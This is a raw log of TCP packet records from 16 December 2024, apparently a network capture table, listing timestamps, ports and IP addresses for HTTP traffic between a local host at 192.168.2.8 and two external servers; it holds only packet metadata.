Dec 16, 2024 17:02:31.407485962 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.407994986 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.408047915 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.408108950 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.408314943 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.408374071 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.408726931 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.408782005 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.408847094 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.408883095 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.408934116 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.409517050 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.414045095 CET	49711	80	192.168.2.8	185.215.113.43
Dec 16, 2024 17:02:31.414259911 CET	49715	80	192.168.2.8	185.215.113.43
Dec 16, 2024 17:02:31.443998098 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.534414053 CET	80	49715	185.215.113.43	192.168.2.8
Dec 16, 2024 17:02:31.534609079 CET	49715	80	192.168.2.8	185.215.113.43
Dec 16, 2024 17:02:31.534638882 CET	80	49711	185.215.113.43	192.168.2.8
Dec 16, 2024 17:02:31.534765005 CET	49711	80	192.168.2.8	185.215.113.43
Dec 16, 2024 17:02:31.535068989 CET	49715	80	192.168.2.8	185.215.113.43
Dec 16, 2024 17:02:31.574009895 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.574204922 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.574222088 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.574273109 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.574578047 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.574623108 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.574723005 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.575021029 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.575038910 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.575066090 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.575480938 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.575522900 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.575530052 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.575548887 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.575589895 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.576086044 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.576208115 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.576225042 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.576253891 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.576857090 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.576962948 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.576971054 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.576987982 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.577027082 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.577615976 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.577730894 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.577749968 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.577780962 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.578361988 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.578408003 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.578547955 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.578566074 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.578633070 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.579102993 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.579252005 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.579273939 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.579323053 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.579680920 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.579771042 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.579787970 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.579813004 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.579827070 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.580357075 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.580471992 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.580487013 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.580527067 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.581192970 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.581290007 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.581305981 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.581331015 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.581342936 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.582062006 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.582314968 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.582330942 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.582370043 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.582952976 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.583112955 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.583129883 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.583153963 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.583168030 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.583842993 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.583976030 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.583992958 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.584017038 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.584500074 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.584546089 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.584651947 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.584669113 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.584709883 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.585205078 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.585289001 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.585305929 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.585342884 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.585936069 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.585982084 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.586127043 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.586143017 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.586191893 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.587013960 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.587104082 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.587120056 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.587155104 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.587661028 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.587707996 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.587752104 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.587768078 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.587812901 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.588457108 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.588555098 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.588571072 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.588620901 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.588980913 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.589018106 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.589070082 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.589088917 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.589138985 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.589647055 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.589786053 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.589802027 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.589824915 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.590255022 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.590292931 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.590370893 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.590548992 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.590590000 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.590958118 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.591135025 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.591150045 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.591173887 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.591820955 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.591864109 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.591958046 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.591976881 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.592027903 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.592596054 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.592730999 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.592770100 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.592839003 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.593683958 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.593728065 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.594037056 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.594203949 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.594286919 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.594527960 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.595107079 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.595155954 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.596065998 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.596100092 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.596168995 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.596227884 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.596263885 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.596319914 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.596457958 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.596618891 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.596658945 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.596712112 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.596856117 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.597040892 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.597099066 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.597157001 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.597210884 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.597263098 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.597470999 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.597524881 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.597592115 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.597628117 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.597676039 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.598185062 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.598321915 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.598356962 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.598382950 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.598938942 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.599030972 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.599085093 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.599127054 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.599212885 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.599683046 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.599834919 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.599869967 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.599925995 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.607714891 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.655036926 CET	80	49715	185.215.113.43	192.168.2.8
Dec 16, 2024 17:02:31.767129898 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.767203093 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.767241955 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.767360926 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.767452955 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.767501116 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.767554045 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.767571926 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.767631054 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.767966032 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.768188000 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.768205881 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.768238068 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.768757105 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.768805981 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.768852949 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.768871069 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.768919945 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.769493103 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.769706011 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.769721031 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.769754887 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.770222902 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.770308018 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.770391941 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.770411015 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.770457029 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.771043062 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.771167040 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.771183968 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.771219969 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.771878958 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.771933079 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.772051096 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.772068977 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.772113085 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.772599936 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.772744894 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.772763014 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.772803068 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.773402929 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.773475885 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.773622036 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.773638964 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.773686886 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.774302006 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.774442911 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.774460077 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.774490118 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.774856091 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.774914026 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.775063038 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.775079966 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.775126934 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.775593996 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.775736094 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.775753021 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.775784016 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.776362896 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.776454926 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.776499987 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.776518106 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.776603937 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.777199030 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.777357101 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.777374029 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.777424097 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.777582884 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.778021097 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.778115034 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.778131008 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.778162003 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.778196096 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.778822899 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.778944969 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.778963089 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.779007912 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.779845953 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.780018091 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.780035973 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.780069113 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.780102968 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.780749083 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.780881882 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.780898094 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.780946970 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.781634092 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.781778097 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.781795025 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.781832933 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.781832933 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.782649994 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.782731056 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.782747030 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.782799959 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.783127069 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.783178091 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.783288002 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.783304930 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.783353090 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.784245968 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.784354925 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.784419060 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.784580946 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.784759045 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.784776926 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.784810066 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.785053968 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.785111904 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.785675049 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.785816908 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.785834074 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.785882950 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.786248922 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.786335945 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.786557913 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.786681890 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.786698103 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.786741972 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.787432909 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.787499905 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.787554979 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.787573099 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.787662983 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.788203955 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.788289070 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.788305044 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.788376093 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.788881063 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.789005995 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.789024115 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.789069891 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.789069891 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.789735079 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.789814949 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.789830923 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.789891005 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.790429115 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.790606022 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.790662050 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.790899038 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.790951967 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.791604996 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.791822910 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.791841030 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.791872978 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.792565107 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.792618990 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.792665958 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.792682886 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.792746067 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.793298960 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.793546915 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.793564081 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.793608904 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.794076920 CET	80	49714	138.124.35.95	192.168.2.8
Dec 16, 2024 17:02:31.794132948 CET	49714	80	192.168.2.8	138.124.35.95
Dec 16, 2024 17:02:31.794167995 CET	80	49714	138.124.35.95	192.168.2.8
